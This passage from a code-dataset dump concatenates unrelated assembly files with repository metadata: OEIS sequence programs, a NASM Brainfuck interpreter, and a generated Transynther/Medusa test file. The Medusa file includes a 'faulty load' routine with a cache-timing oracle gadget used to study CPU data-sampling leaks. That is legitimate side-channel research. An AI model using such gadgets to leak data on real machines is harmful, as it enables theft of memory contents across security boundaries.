00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 66.916667 | 2,999 | 0.662516 |
2b60c91e00152d2a87a60f077362806c0904f6d8 | 655 | asm | Assembly | oeis/005/A005260.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/005/A005260.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/005/A005260.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A005260: a(n) = Sum_{k = 0..n} binomial(n,k)^4.
; Submitted by Jamie Morken(s4)
; 1,2,18,164,1810,21252,263844,3395016,44916498,607041380,8345319268,116335834056,1640651321764,23365271704712,335556407724360,4854133484555664,70666388112940818,1034529673001901732,15220552520052960516,224929755893153896200,3337324864503769353060,49695724681594007254920,742446552655157791828680,11125317652661286492996240,167167472732516775004539300,2518184039078017679226583752,38021985442071415426063237704,575331959172712758673713761936,8723111727436784830252513497928
mov $2,$0
lpb $0
sub $0,1
mov $3,$2
bin $3,$0
pow $3,4
add $1,$3
lpe
mov $0,$1
add $0,1
| 43.666667 | 473 | 0.825954 |
ee712bb9b735b1112c092344586f3c7b4005fa76 | 290 | asm | Assembly | code/file/helpers.asm | abekermsx/skooted | ea0eb5c0c2703c45807477bfdcda0ad1ad9119d8 | [
"MIT"
] | 3 | 2021-10-06T20:52:11.000Z | 2021-11-29T11:31:55.000Z | code/file/helpers.asm | abekermsx/skooted | ea0eb5c0c2703c45807477bfdcda0ad1ad9119d8 | [
"MIT"
] | null | null | null | code/file/helpers.asm | abekermsx/skooted | ea0eb5c0c2703c45807477bfdcda0ad1ad9119d8 | [
"MIT"
] | null | null | null |
open_file:
call clear_fcb
ld de,fcb
ld c,_FOPEN
call bdos_wrapper
or a
ret nz
call initialize_fcb
xor a
ret
close_file:
ld de,fcb
ld c,_FCLOSE
call bdos_wrapper
ret
| 13.809524 | 27 | 0.458621 |
2b7541c4aba0e40b2064d6d0f841fb81f116048c | 737 | asm | Assembly | oeis/338/A338337.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/338/A338337.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/338/A338337.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A338337: Coefficient of x^(6*n)*y^(6*n)*z^(6*n) in the expansion of 1/(1-x-y^2-z^3).
; Submitted by Christian Krause
; 1,4620,135795660,5190977391600,221838126928317900,10086906430733029017120,477156732636269771364879600,23199870600247661786357661924000,1150983828787218131441395889200471500,57991163446756752913635026142306805792320,2957727121295876265116937111814024549631408160,152353609785425999512845542376758415723336374886900,7912280641509946525374857316251288390397392279451510000,413750694100990069279314299438894606472335441034228586708800,21763216780956539094100256024309009982420580814296475699165604000
mov $1,$0
add $1,$0
add $0,$1
add $1,$0
mov $2,$0
mul $2,2
add $2,$1
bin $1,$0
mul $0,2
bin $2,$0
mul $1,$2
mov $0,$1
| 43.352941 | 498 | 0.841248 |
d41a63232a7026aaca3e41b7c6a2dda0fb553a8d | 6,489 | asm | Assembly | nasm-c/brainfuck.asm | DonaldKellett/Brainfuck | ec93d0ef7cf6d772b8b26e7b869be103bb29e194 | [
"MIT"
] | 9 | 2016-12-22T13:26:15.000Z | 2021-09-20T09:53:50.000Z | nasm-c/brainfuck.asm | DonaldKellett/Brainfuck | ec93d0ef7cf6d772b8b26e7b869be103bb29e194 | [
"MIT"
] | null | null | null | nasm-c/brainfuck.asm | DonaldKellett/Brainfuck | ec93d0ef7cf6d772b8b26e7b869be103bb29e194 | [
"MIT"
] | 1 | 2016-12-25T10:47:15.000Z | 2016-12-25T10:47:15.000Z | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; brainfuck.asm ;
; ;
; A Brainfuck interpreter written in NASM v2.13.03 for Mac OS X, ;
; for use in C programs ;
; ;
; Function signature: ;
; char *brainfuck(const char *code, const char *input) ;
; ;
; Interpreter details: ;
; - 30000 wrapping 8-bit cells as per the original implementation ;
; - All cells initialized to 0 at the beginning of program execution ;
; - Tape pointer starts from the leftmost cell ;
; - Memory tape is *not* toroidal - an out of bounds memory pointer will ;
; likely crash the program ;
; - EOF is denoted by the NULL terminator (i.e. byte(0)) ;
; ;
; Additional implementation details: ;
; - Output buffer is allocated statically, not dynamically ;
; - Maximum output allowed is 1024 bytes = 1 kB, not including the ;
; NULL terminator. Exceeding this output limit causes undefined behavior ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
global _brainfuck
section .text
_brainfuck:
lea r10, [rel memtape] ; r10 <- memtape
mov r11, 0 ; r11 <- 0 (no. of cells reset to byte(0))
reset:
mov byte [r10], 0 ; *r10 <- byte(0)
inc r10 ; r10++
inc r11 ; Keep track of no. of memory cells reset to byte(0)
cmp r11, 30000 ; Have we reset all 30000 cells to byte(0) yet?
jl reset ; If not, reset the next memory cell to byte(0)
lea r10, [rel memtape] ; Initially tape pointer starts at leftmost cell
lea rax, [rel stdout] ; rax <- stdout (value to be returned is output buffer)
execToken:
cmp byte [rdi], 0 ; Have we reached the end of the program?
je done ; If so, go straight to returning the output buffer
cmp byte [rdi], '+' ; *code == '+'?
je incCellVal ; If so, increment current cell value under tape pointer
cmp byte [rdi], '-' ; *code == '-'?
je decCellVal ; If so, decrement current cell value under tape pointer
cmp byte [rdi], '>' ; *code == '>'?
je incTapePtr ; If so, move tape pointer to next cell
cmp byte [rdi], '<' ; *code == '<'?
je decTapePtr ; If so, move tape pointer to previous cell
cmp byte [rdi], '.' ; *code == '.'?
je printCellVal ; If so, print byte in current cell under tape pointer to stdout
cmp byte [rdi], ',' ; *code == ','?
je writeCellVal ; If so, write current input byte into cell under tape pointer
cmp byte [rdi], '[' ; *code == '['?
je openWhile ; If so, check value of cell under pointer against zero and make a decision accordingly
cmp byte [rdi], ']' ; *code == ']'?
je closeWhile ; If so, check value of cell under pointer against zero and make a decision accordingly
jmp nextToken ; Otherwise, current character is a no-op; skip it
incCellVal:
inc byte [r10] ; (*memtape)++
jmp nextToken
decCellVal:
dec byte [r10] ; (*memtape)--
jmp nextToken
incTapePtr:
inc r10 ; memtape++
jmp nextToken
decTapePtr:
dec r10 ; memtape--
jmp nextToken
printCellVal:
mov r12b, byte [r10] ; temp <- *memtape
mov byte [rax], r12b ; *stdout <- temp
inc rax ; stdout++
jmp nextToken
writeCellVal:
cmp byte [rsi], 0 ; Have we reached the end of input yet?
jne normalWrite ; If not, set value of cell under tape pointer to
; current input byte and move input pointer to next input byte
; Otherwise, write value of 0 to cell under pointer
mov byte [r10], 0 ; *memtape <- 0
jmp nextToken
normalWrite:
mov r12b, byte [rsi] ; temp <- *input
mov byte [r10], r12b ; *memtape <- temp
inc rsi ; input++
jmp nextToken
openWhile:
cmp byte [r10], 0 ; Is the value under the pointer zero?
jne nextToken ; If not, simply ignore this command
; Otherwise, jump to the matching ]
mov r13, 1 ; unmatched <- 1 (we now have one unmatched opening bracket)
checkNextCmdForMatchingCloseBracket:
inc rdi ; code++
cmp byte [rdi], '[' ; Is the next command an opening bracket?
je incUnmatchedOpenBracket ; If so, we now have one more unmatched opening bracket
cmp byte [rdi], ']' ; Is the next command a closing bracket?
je decUnmatchedOpenBracket ; If so, we now have one less unmatched opening bracket
jmp checkNextCmdForMatchingCloseBracket ; Otherwise, keep searching
incUnmatchedOpenBracket:
inc r13 ; unmatched++
jmp checkNextCmdForMatchingCloseBracket ; Keep searching
decUnmatchedOpenBracket:
dec r13 ; unmatched--
cmp r13, 0 ; Have we found our matching closing bracket yet?
jne checkNextCmdForMatchingCloseBracket ; If not, keep searching
jmp nextToken ; Otherwise, proceed to the next command as usual
closeWhile:
cmp byte [r10], 0 ; Is the value under the pointer zero?
je nextToken ; If so, simply ignore this command
; Otherwise, jump back to the matching [
mov r13, 1 ; unmatched <- 1 (we now have an unmatched closing bracket)
checkPrevCmdForMatchingOpenBracket:
dec rdi ; code--
cmp byte [rdi], '[' ; Is the previous command an open bracket?
je decUnmatchedClosedBracket ; If so, we now have one less unmatched closing bracket
cmp byte [rdi], ']' ; Is the previous command a closed bracket?
je incUnmatchedClosedBracket ; If so, we now have one more unmatched closing bracket
jmp checkPrevCmdForMatchingOpenBracket ; Otherwise, keep searching
decUnmatchedClosedBracket:
dec r13 ; unmatched--
cmp r13, 0 ; Have we found our matching opening bracket yet?
jne checkPrevCmdForMatchingOpenBracket ; If not, keep searching
jmp nextToken ; Otherwise, proceed to the next command as usual
incUnmatchedClosedBracket:
inc r13 ; unmatched++
jmp checkPrevCmdForMatchingOpenBracket ; Keep searching
nextToken:
inc rdi ; code++
jmp execToken ; Execute the next command
done:
mov byte [rax], 0 ; Insert null terminator at end of output buffer
lea rax, [rel stdout] ; Reset rax to beginning of output buffer before returning
ret ; return rax
section .bss
memtape resb 30000
stdout resb 1025
| 47.364964 | 103 | 0.62028 |
98b5355d529384ac10d234dcc181cb7962d0fef2 | 201 | asm | Assembly | libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_size_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_size_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/wv_stack/c/sdcc_iy/wv_stack_size_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; size_t wv_stack_size_fastcall(wv_stack_t *s)
SECTION code_clib
SECTION code_adt_wv_stack
PUBLIC _wv_stack_size_fastcall
EXTERN asm_wv_stack_size
defc _wv_stack_size_fastcall = asm_wv_stack_size
| 16.75 | 48 | 0.870647 |
63c9253b640734ac82462c06c1fec6e5da9875e4 | 373 | asm | Assembly | programs/oeis/072/A072205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/072/A072205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/072/A072205.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A072205: a(n) = (p^2 - p + 2)/2 for p = prime(n); number of squares modulo p^2.
; 2,4,11,22,56,79,137,172,254,407,466,667,821,904,1082,1379,1712,1831,2212,2486,2629,3082,3404,3917,4657,5051,5254,5672,5887,6329,8002,8516,9317,9592,11027,11326,12247,13204,13862,14879,15932,16291,18146,18529
seq $0,6005 ; The odd prime numbers together with 1.
bin $0,2
max $0,1
add $0,1
| 46.625 | 209 | 0.710456 |
7f2286e3f66627cf998487ccf8e26fcd681a0a9c | 7,465 | asm | Assembly | Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_1725.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_1725.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_1725.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xc8d8, %rbp
nop
nop
nop
and $559, %rdx
mov $0x6162636465666768, %r13
movq %r13, %xmm7
vmovups %ymm7, (%rbp)
nop
nop
nop
xor $21466, %rdx
lea addresses_UC_ht+0x2d0, %r8
clflush (%r8)
nop
nop
nop
sub %r10, %r10
movl $0x61626364, (%r8)
nop
cmp %rdx, %rdx
lea addresses_A_ht+0x1650, %r8
nop
nop
nop
and $57073, %rdi
movb $0x61, (%r8)
nop
nop
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x8e50, %rsi
lea addresses_WC_ht+0xeb08, %rdi
nop
nop
nop
nop
nop
sub $24289, %r10
mov $75, %rcx
rep movsb
nop
sub $9117, %r13
lea addresses_D_ht+0xf0d0, %r8
add %rdi, %rdi
mov $0x6162636465666768, %r13
movq %r13, (%r8)
nop
nop
cmp $54239, %r10
lea addresses_WT_ht+0xc6e0, %rsi
lea addresses_WT_ht+0x19d50, %rdi
nop
nop
nop
nop
nop
dec %r8
mov $123, %rcx
rep movsb
nop
nop
nop
dec %rdi
lea addresses_normal_ht+0x5a50, %r10
nop
nop
cmp %r8, %r8
mov (%r10), %esi
nop
nop
nop
nop
dec %r10
lea addresses_UC_ht+0x191b0, %rsi
clflush (%rsi)
nop
cmp $6472, %rcx
mov (%rsi), %rdx
xor %rsi, %rsi
lea addresses_normal_ht+0x1a150, %rsi
lea addresses_D_ht+0xb0c0, %rdi
nop
nop
nop
nop
and $50369, %rdx
mov $48, %rcx
rep movsq
sub $26722, %rsi
lea addresses_WT_ht+0xde07, %rcx
nop
nop
cmp $38765, %r10
movb $0x61, (%rcx)
nop
nop
add %r10, %r10
lea addresses_UC_ht+0x53f8, %r8
clflush (%r8)
add %rsi, %rsi
mov (%r8), %rdx
and $20630, %rdx
lea addresses_UC_ht+0x7a50, %r10
lfence
movw $0x6162, (%r10)
nop
nop
dec %r10
lea addresses_WC_ht+0x1cd70, %rsi
lea addresses_A_ht+0x3ff0, %rdi
nop
nop
nop
nop
nop
sub $64126, %r13
mov $105, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r8
push %rbp
push %rdi
// Store
lea addresses_WT+0x2e50, %rbp
nop
nop
nop
nop
nop
cmp %r8, %r8
mov $0x5152535455565758, %rdi
movq %rdi, (%rbp)
nop
nop
nop
nop
nop
xor %r14, %r14
// Faulty Load
lea addresses_WT+0x2e50, %r11
nop
dec %r8
movups (%r11), %xmm5
vpextrq $1, %xmm5, %r15
lea oracles, %rbp
and $0xff, %r15
shlq $12, %r15
mov (%rbp,%r15,1), %r15
pop %rdi
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 6, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'08': 1, '84': 1, '44': 11887, '00': 9930, '49': 3, '46': 7}
44 00 44 00 44 44 44 44 44 00 00 44 44 44 00 44 44 00 00 00 44 00 44 44 00 44 44 44 44 00 44 44 00 00 44 44 44 44 00 00 44 00 00 00 44 44 00 00 44 00 44 00 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 44 00 44 44 00 00 00 44 44 44 00 44 44 00 44 00 44 00 44 44 44 44 00 44 00 00 00 44 44 44 44 00 44 44 44 00 44 44 44 00 00 00 00 00 00 44 44 44 00 44 00 44 00 44 44 00 00 44 44 00 00 00 00 44 44 00 44 00 00 44 00 44 44 44 00 44 00 44 00 00 00 00 00 00 00 00 00 00 44 44 44 44 44 44 00 00 00 00 00 00 00 44 44 44 44 00 44 00 44 44 44 00 00 44 00 00 00 00 00 00 00 00 44 44 44 44 44 00 44 44 44 44 00 44 44 00 44 44 44 00 44 44 00 00 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 44 44 00 00 00 44 44 00 00 44 00 00 44 44 00 44 00 44 44 44 44 44 00 00 00 44 44 00 44 44 44 00 44 00 00 00 44 44 44 44 44 44 00 44 44 44 00 00 00 44 00 00 44 44 44 00 00 00 44 00 44 00 44 00 44 44 44 00 00 44 44 44 44 44 00 00 00 44 00 44 44 44 00 44 44 00 00 00 00 00 00 44 44 44 44 44 44 00 44 00 00 44 00 00 00 00 44 44 00 00 44 44 00 44 44 44 00 44 44 44 44 00 00 00 00 00 44 44 00 00 44 44 44 00 44 44 44 44 00 00 44 00 44 44 00 44 00 44 44 00 44 44 00 00 44 44 44 44 44 00 00 00 44 00 44 00 44 00 00 00 00 00 44 44 00 44 00 00 00 00 44 00 44 44 00 00 44 44 44 44 44 44 00 44 44 44 44 00 44 44 00 44 44 44 44 44 44 00 44 00 44 44 00 00 00 44 00 00 00 00 44 44 00 44 44 00 00 44 44 00 44 44 44 00 00 00 00 44 00 44 00 00 00 00 00 44 44 44 00 44 44 44 44 44 44 00 44 00 00 00 44 44 44 44 44 00 00 00 44 44 00 44 44 44 00 00 00 44 00 00 44 00 44 44 44 44 00 00 44 00 00 44 00 00 44 00 00 44 00 00 44 44 44 00 44 44 00 00 44 44 44 00 00 00 00 44 44 44 00 44 44 00 44 00 44 00 00 44 44 00 44 00 44 00 00 44 44 00 44 00 00 00 44 00 00 44 00 00 00 00 44 00 00 44 00 44 44 00 44 00 00 44 00 00 44 00 00 44 00 00 44 00 44 00 00 44 00 44 44 00 44 00 00 44 44 44 44 44 44 44 44 44 44 44 00 44 44 00 44 44 00 44 00 44 44 00 44 00 44 44 00 44 00 44 44 44 44 00 00 44 00 00 44 00 00 44 00 00 44 44 44 00 44 44 44 44 00 00 44 44 00 44 44 44 44 44 44 44 00 00 00 00 44 44 44 44 44 00 00 44 44 44 00 00 00 00 44 00 00 00 44 44 44 00 44 44 44 44 44 00 44 00 00 00 00 00 00 00 00 44 00 44 00 00 00 44 44 44 00 00 44 44 44 00 44 44 44 00 44 00 00 00 00 00 00 00 44 00 44 00 44 44 44 44 44 00 44 44 00 44 44 44 44 44 44 44 00 00 44 44 44 44 44 00 44 44 00 44 44 00 44 44 44 00 44 00 00 44 00 44 44 44 44 44 00 00 00 00 44 44 00 44 00 00 44 44 44 00 00 44 44 00 44 44 44 00 44 44 00 00 44 44 00 00 00 44 00 44 00 00 44 44 44 44 44 44 44 00 00 00 44 44 44 00 00 00 44 44 00 00 44 44 00 44 00 00 00 44 44 44 44 44 44 00 44 00 44 44 44 00 44 44 44 00 44 00 00 00 00 00 44 44 00 00 44 44 00 44 00 44 44 00 44 44 00 44 44 44 44 44 44 00 44 44 44 44 00 44 44 00 44 44 44 44 44 44 44 44 00 44 44 44 44 00 00 00 00 00 00 00 00 44 44 00 44 44 44 44 00 44 44 44 00 44 44 44 00 44 00 44 44 00 00 44 00 44 00 44 44 44 00 00 44 44 00 44 44 44 00 00 00 44 44 00 44 44 00 44 00 00 44 00 00 44 00 00 00 00 44 44 00 44 44 44 44 44 00 44 00 00 44 00 00 44
*/
| 34.72093 | 2,999 | 0.654253 |
2bf36572e0ec11d553336f1a1dfa25d9972bf9bd | 3,239 | asm | Assembly | src/test-programs/stdev/stdev.asm | SebastianPilarski/MIPS_Pipelined_Processor | fbf3084678e2e4708f5d44a52f625a972c878a12 | [
"MIT"
] | 4 | 2017-04-11T03:14:18.000Z | 2021-11-25T08:22:42.000Z | src/test-programs/stdev/stdev.asm | SebastianPilarski/MIPS_Pipelined_Processor | fbf3084678e2e4708f5d44a52f625a972c878a12 | [
"MIT"
] | 11 | 2017-03-19T16:06:59.000Z | 2017-04-08T08:05:06.000Z | src/test-programs/stdev/stdev.asm | Gripnook/ECSE425-W17-Group2 | 3a652798b27b0531733bb913d4f9f1ad1c977ded | [
"MIT"
] | 1 | 2018-02-26T00:55:39.000Z | 2018-02-26T00:55:39.000Z | #############################################
#This program takes a set of data points and
#calculates their standard deviation. The
#dataset size should be the first element in
#memory followed by the dataset. Since there
#are no FPU in the CPU results are optimal
#when the mean is an integer.
addi $7, $0, 2000 #Start of data memory address
#########################
addi $1, $0, 8 #Enter dataset size here
sw $1, 0($7) #Store the size of the dataset in base memory address
#########################
#######Dataset#######
addi $1, $0, 1
sw $1, 4($7)
addi $1, $0, 2
sw $1, 8($7)
addi $1, $0, 3
sw $1, 12($7)
addi $1, $0, 4
sw $1, 16($7)
addi $1, $0, 5
sw $1, 20($7)
addi $1, $0, 6
sw $1, 24($7)
addi $1, $0, 7
sw $1, 28($7)
addi $1, $0, 12
sw $1, 32($7)
#########################
start: lw $1, 0($7) #load dataset size into $1
addi $2, $7, 4 #initialize offset
addi $3, $0, 0 #initialize counter
jal sum #Sums together all data points and stores result in $r5
jal div #Divides result in $r5 by the dataset size and store result in $r6. $r6 is the mean
jal sub #Subtracts each data point by the mean
jal square #Takes the square of each new element
jal sum #Sums together all the new data points and stores result in $r5
jal div #Divides result in $r5 by the dataset size and stores result in $r6
jal sqrt #Take the square root of result in $r6 and stores result in $r9
j eop #infinite loop
#########################
sum: addi $2, $7, 4
addi $3, $0, 0
sumloop: beq $1, $3, sumreturn
lw $4, 0($2)
add $5, $5, $4
addi $3, $3, 1
addi $2, $2, 4
j sumloop
sumreturn: jr $31
#########################
#########################
div: div $5, $1
mflo $6
addi $2, $0, 4
addi $3, $0, 0
jr $31
#########################
#########################
sub: addi $2, $7, 4
addi $3, $0, 0
subloop: beq $1, $3, subreturn
lw $4, 0($2)
sub $5, $4, $6
sw $5, 0($2)
addi $2, $2, 4
addi $3, $3, 1
j subloop
subreturn: jr $31
#########################
#########################
square: addi $2, $7, 4
addi $3, $0, 0
sqrloop: beq $1, $3, sqrreturn
lw $4, 0($2)
mult $4, $4
mflo $5
sw $5, 0($2)
addi $2, $2, 4
addi $3, $3, 1
j sqrloop
sqrreturn: jr $31
#########################
#########################
sqrt: addi $8, $0, 1 #constant 1
addi $1, $0, 0 #initialize counter R1 to 0
add $2, $0, $6 #Load x into R2
add $6, $0, $0 #clear registers
add $5, $0, $0 #clear registers
compare: mult $1, $1 #i * i
mflo $3 #$3 = i*i
slt $4, $3, $2 #$4 = 1 if i^2 < x
sub $5, $2, $3 #$5 = 0 if i^2 = x
beq $5, $0, loop #loop if i^2 = x
beq $4, $8, loop #loop if i^2 < x
j return #break from loop
loop: addi $1, $1, 1 #increment counter
j compare #loop back
return: addi $9, $1, -1 #store result in R9
jr $31 #store result in memory
#########################
eop: beq $1, $1, eop #infinite loop
| 23.642336 | 107 | 0.463415 |
8665b4fd3b99ae3afbc9b08622357e8a513bf087 | 377 | asm | Assembly | microcontrolador/8051/SEII-serial-mode0-02.asm | prof-holanda/sistemas-embarcados | f7ff6dfa8ea7d6ec152fc30e49184d313a16fc8c | [
"CC0-1.0"
] | null | null | null | microcontrolador/8051/SEII-serial-mode0-02.asm | prof-holanda/sistemas-embarcados | f7ff6dfa8ea7d6ec152fc30e49184d313a16fc8c | [
"CC0-1.0"
] | null | null | null | microcontrolador/8051/SEII-serial-mode0-02.asm | prof-holanda/sistemas-embarcados | f7ff6dfa8ea7d6ec152fc30e49184d313a16fc8c | [
"CC0-1.0"
] | null | null | null | CLR SM0
CLR SM1 ; porta serial no modo zero
MOV SBUF,#9 ; envia do inteiro 9 para a porta serial
JNB TI,$ ; espera pela interrupção que sinaliza o fim do envio
CLR TI ; desliga/zera a interrupção que foi alterada pelo hardware
; o desligamento da interrupção deve ser feito pelo programa
MOV SBUF,#12 ; envia o inteiro 12 para a porta serial
| 47.125 | 74 | 0.700265 |
55406d27858a98f5cc7935c96f8820545bf9523b | 474 | asm | Assembly | programs/oeis/047/A047580.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/047/A047580.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/047/A047580.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A047580: Numbers that are congruent to {1, 2, 5, 6, 7} mod 8.
; 1,2,5,6,7,9,10,13,14,15,17,18,21,22,23,25,26,29,30,31,33,34,37,38,39,41,42,45,46,47,49,50,53,54,55,57,58,61,62,63,65,66,69,70,71,73,74,77,78,79,81,82,85,86,87,89,90,93,94,95,97,98,101,102,103,105,106,109,110,111,113,114,117,118,119,121,122,125,126,127,129,130,133,134,135,137,138,141,142,143,145,146,149,150,151,153,154,157,158,159
mul $0,2
add $0,1
sub $2,$0
div $0,5
sub $2,$0
div $2,2
sub $0,$2
add $0,1
| 39.5 | 333 | 0.660338 |
d470f7c69ded2def9d81c1181a5d4f8b0c0b6514 | 1,234 | asm | Assembly | programs/oeis/017/A017332.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/017/A017332.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/017/A017332.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
